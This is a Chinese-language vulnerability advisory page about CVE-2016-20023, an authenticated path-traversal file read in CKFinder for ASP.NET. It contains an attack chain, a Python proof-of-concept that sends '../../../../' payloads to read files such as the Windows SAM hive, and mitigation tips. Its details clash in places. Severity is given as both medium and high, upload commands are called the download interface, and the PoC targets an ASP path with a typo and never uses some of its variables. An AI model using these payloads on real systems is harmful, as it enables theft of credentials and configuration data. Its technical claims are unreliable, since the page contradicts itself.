IPBUF安全漏洞报告
English
CVE-2016-20023 CVSS 5.0 中危

CVE-2016-20023 CKFinder 任意文件读取漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2016-20023
漏洞类型
任意文件读取
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CKSource CKFinder for ASP.NET

相关标签

任意文件读取路径遍历IDORCKFinderASP.NETCKSource文件管理器权限绕过CVE-2016-20023

漏洞概述

CVE-2016-20023是CKSource公司开发的CKFinder文件管理器在ASP.NET平台存在的一个高危安全漏洞。该漏洞存在于2.5.0.1之前的版本中,允许已认证的低权限用户通过构造特定的请求参数,获取服务器上任意文件的读取权限。CKFinder是一款广泛应用于企业网站的Web文件管理组件,常用于后台管理系统的文件上传、下载和管理功能。由于该组件通常部署在内部管理系统中,攻击者利用此漏洞可以读取服务器上的敏感配置文件、数据库连接信息、源代码文件等敏感数据,可能导致进一步的内网渗透和数据泄露。漏洞的利用前提是攻击者需要拥有一个有效的CKFinder用户账号,但攻击难度较低,危害性较大。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)类型,根源在于CKFinder的文件下载功能缺少充分的权限验证和路径安全检查。当已认证用户请求下载文件时,系统仅验证用户身份和基本权限,但未对用户请求的文件路径进行严格的访问控制检查。攻击者可以通过修改filePath参数,指定服务器文件系统中的任意路径,实现任意文件读取。例如,攻击者可以构造类似/download?filePath=../../../../windows/system32/config/sam的请求,跨越目录访问系统敏感文件。漏洞主要影响CKFinder的文件下载接口(command=QuickUpload或command=FileUpload),该接口在处理文件路径时直接拼接用户输入而未进行安全过滤。修复版本2.5.0.1通过增加路径规范化和权限校验来缓解此问题。

攻击链分析

STEP 1
步骤1
攻击者获取CKFinder的有效用户账号(通过默认密码、暴力破解或社工手段)
STEP 2
步骤2
攻击者使用认证后的会话,构造包含路径遍历序列的请求包
STEP 3
步骤3
通过修改filePath参数为相对路径如../../../../etc/passwd或绝对路径访问系统文件
STEP 4
步骤4
服务器未正确验证路径,直接返回请求的敏感文件内容
STEP 5
步骤5
攻击者获取配置文件、密钥、源代码等敏感数据,进一步实施横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2016-20023 PoC - CKFinder Arbitrary File Read # Requires valid authenticated session import requests import sys target_url = "http://target.com/ckfinder/" # Authenticated session with valid CKFinder user credentials session = requests.Session() # session.auth = ('username', 'password') def read_arbitrary_file(filepath): """ Exploit CVE-2016-20023 to read arbitrary files filepath: relative or absolute path to file """ # Method 1: Using FileUpload command params = { 'command': 'QuickUpload', 'type': 'Files', 'fileName': 'test.txt' } # Method 2: Direct file path manipulation download_url = f"{target_url}ckfinder.html?type=Files&filePath=../../../../{filepath}" # Method 3: API-based file read api_url = f"{target_url}core/connector/aspp/ckfinder.asp?command=GetFile&fileName=../../../../{filepath}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {filepath}") try: response = session.get(api_url) if response.status_code == 200: print(f"[+] Success! File content:\n{response.text}") return response.text else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: read_arbitrary_file(sys.argv[1]) else: print("Usage: python cve-2016-20023.py <file_path>") print("Example: python cve-2016-20023.py windows/system32/config/sam")

影响范围

CKSource CKFinder for ASP.NET < 2.5.0.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)限制CKFinder用户权限,确保普通用户无法访问系统关键目录;2)在应用层增加路径过滤逻辑,拒绝包含../等路径遍历字符的请求;3)配置Web服务器禁止访问CKFinder目录之外的文件;4)启用审计日志,监控异常的文件访问行为;5)考虑使用VPN或IP白名单限制CKFinder管理界面的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表